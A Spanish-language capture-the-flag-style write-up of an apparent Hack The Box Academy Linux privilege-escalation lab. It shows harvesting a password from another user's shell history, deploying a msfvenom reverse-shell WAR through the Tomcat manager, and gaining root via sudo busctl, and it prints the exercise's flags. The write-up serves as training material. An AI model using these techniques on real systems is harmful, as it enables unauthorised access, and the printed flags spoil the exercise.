Nos han contratado para realizar una evaluación de fortalecimiento de la seguridad en uno de los servidores web públicos de la organización INLANEFREIGHT.
El cliente nos ha proporcionado un usuario con pocos privilegios para evaluar la seguridad del servidor. Conéctese a través de SSH y comience a buscar errores de configuración y otras fallas que puedan aumentar los privilegios utilizando las habilidades aprendidas en este módulo.
Una vez en el host, debemos encontrar 5 indicadores (flags) en el host, a los que se pueda acceder en varios niveles de privilegio. Escalar los privilegios de usuario htb-student a usuario root y enviar los cinco indicadores para finalizar este módulo.
Nota: Existe una manera de obtener un shell en la máquina en lugar de usar las credenciales SSH si desea que el escenario sea más desafiante. Esto es opcional y no otorga más puntos ni cuenta para completar la prueba.
SSH a 10.129.176.120 (ACADEMY-LLPE-SKILLS-NIX03)
User "htb-student"
Password "Academy_LLPE!"
Flag 1
Usuario: htb-student
Al acceder por SSH nos encontramos con el archivo de historial de la terminal que contiene una pista de la primera flag, pero parece que el archivo ya no está allí:
htb-student@nix03:~$ ls -la
total 32
drwxr-xr-x 4 htb-student htb-student 4096 Sep 6 2020 .
drwxr-xr-x 5 root root 4096 Sep 6 2020 ..
-rw------- 1 htb-student htb-student 57 Sep 6 2020 .bash_history
-rw-r--r-- 1 htb-student htb-student 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 htb-student htb-student 3771 Feb 25 2020 .bashrc
drwx------ 2 htb-student htb-student 4096 Sep 6 2020 .cache
drwxr-xr-x 2 root root 4096 Sep 6 2020 .config
-rw-r--r-- 1 htb-student htb-student 807 Feb 25 2020 .profile
htb-student@nix03:~$ cat .bash_history
id
ls
ls /var/www/html
cat /var/www/html/flag1.txt
exit
htb-student@nix03:~$ cat /var/www/html/flag1.txt
cat: /var/www/html/flag1.txt: No such file or directory
En el directorio home encontramos 3 usuarios:
htb-student@nix03:/$ cd home
htb-student@nix03:/home$ ls
barry htb-student mrb3n
Al enumerar archivos ocultos como .config, encontramos la flag 1:
El usuario htb-student no tiene permisos de ejecución en la máquina:
htb-student@nix03:~$ sudo -l
[sudo] password for htb-student:
Sorry, user htb-student may not run sudo on nix03.
Flag 2
Usuario: barry
En el directorio /home/barry encontramos la flag 2, pero no podemos acceder directamente:
htb-student@nix03:/home/barry$ ls -la
total 40
drwxr-xr-x 5 barry barry 4096 Sep 5 2020 .
drwxr-xr-x 5 root root 4096 Sep 6 2020 ..
-rwxr-xr-x 1 barry barry 360 Sep 6 2020 .bash_history
-rw-r--r-- 1 barry barry 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 barry barry 3771 Feb 25 2020 .bashrc
drwx------ 2 barry barry 4096 Sep 5 2020 .cache
-rwx------ 1 barry barry 29 Sep 5 2020 flag2.txt
drwxrwxr-x 3 barry barry 4096 Sep 5 2020 .local
-rw-r--r-- 1 barry barry 807 Feb 25 2020 .profile
drwx------ 2 barry barry 4096 Sep 5 2020 .ssh
htb-student@nix03:/home/barry$ cat flag2.txt
cat: flag2.txt: Permission denied
Al leer el .bash_history nos encontramos algo interesante, unas credenciales:
htb-student@nix03:/home/barry$ cat .bash_history
cd /home/barry
ls
id
ssh-keygen
mysql -u root -p
tmux new -s barry
cd ~
sshpass -p 'i_l0ve_s3cur1ty!' ssh barry_adm@dmz1.inlanefreight.local
Probamos a cambiar al usuario Barry y buum! La contraseña sirve y leemos la flag 2:
htb-student@nix03:/home/barry$ su barry
Password:
barry@nix03:~$ whoami
barry
barry@nix03:~$ ls
flag2.txt
barry@nix03:~$ cat flag2.txt
LLPE{ch3ck_th0s3_cmd_l1n3s!}
El usuario barry no tiene permisos de ejecución en la máquina:
barry@nix03:~$ sudo -l
[sudo] password for barry:
Sorry, user barry may not run sudo on nix03.
Comprobando la versión del Kernel nos encontramos con que es vulnerable:
barry@nix03:~$ uname -r
5.4.0-45-generic
Flag 3
La flag 3 es bastante trivial, ya que usando el siguiente comando encontramos la flag y la leemos sin problema:
Haciendo un poco de enumeración, en el directorio /etc/tomcat9 encontramos un archivo .bak interesante, que contiene las credenciales del usuario tomcatadm:
Vamos a usar estas credenciales para loguearnos en el host manager:
Bingo! Ya estamos dentro. En el siguiente artículo encontramos un montón de información relevante para explotar un servidor Tomcat, concretamente vamos a subir un archivo .war malicioso que nos deveulva una reverse shell:
Creación de un .war malicioso
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.103 lport=4444 -f war -o pwn.war
Payload size: 13027 bytes
Final size of war file: 13027 bytes
Saved as: pwn.war
Subida de .war malicioso
En List Applications bajamos hasta la parte de Deploy, y cargamos el .war malicioso, pero antes abrimos un listener con Netcat por el puerto que le hemos especificado:
Esto nos levanta el .war, y al hacer click sobre el nombre pwn nos devuelve la conexión reversa:
Tratamiento de la TTY
Entramos con una shell un poco restrictiva, así que vamos a hacer un tratamiento de la TTY para movernos mejor por el sistema:
tty
not a tty
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@nix03:/var/lib/tomcat9$ export TERM=xterm
export TERM=xterm
tomcat@nix03:/var/lib/tomcat9$ ls
ls
conf flag4.txt lib logs policy webapps work
tomcat@nix03:/var/lib/tomcat9$ cat flag4.txt
cat flag4.txt
LLPE{Im_th3_m@n4g3r_n0w}
Flag 5
Este usuario Tomcat tiene algunos permisos de ejecución en el sistema:
tomcat@nix03:/$ sudo -l
sudo -l
Matching Defaults entries for tomcat on nix03:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tomcat may run the following commands on nix03:
(root) NOPASSWD: /usr/bin/busctl
El binario busctl es una herramienta que interactúa con el sistema D-Bus, lo cual puede explotarse para escalar privilegios, ya que permite comunicarse con servicios del sistema. En GTFOBins encontramos una guía de como elevar nuestros privilegios con busctl:
Buum! Ya somos root, y nos hacemos con la última flag, concretamente en el directorio root:
# cd /root
cd /root
# ls
ls
flag5.txt snap
# cat flag5.txt
cat flag5.txt
LLPE{0ne_sUdo3r_t0_Ru13_th3m_@ll!}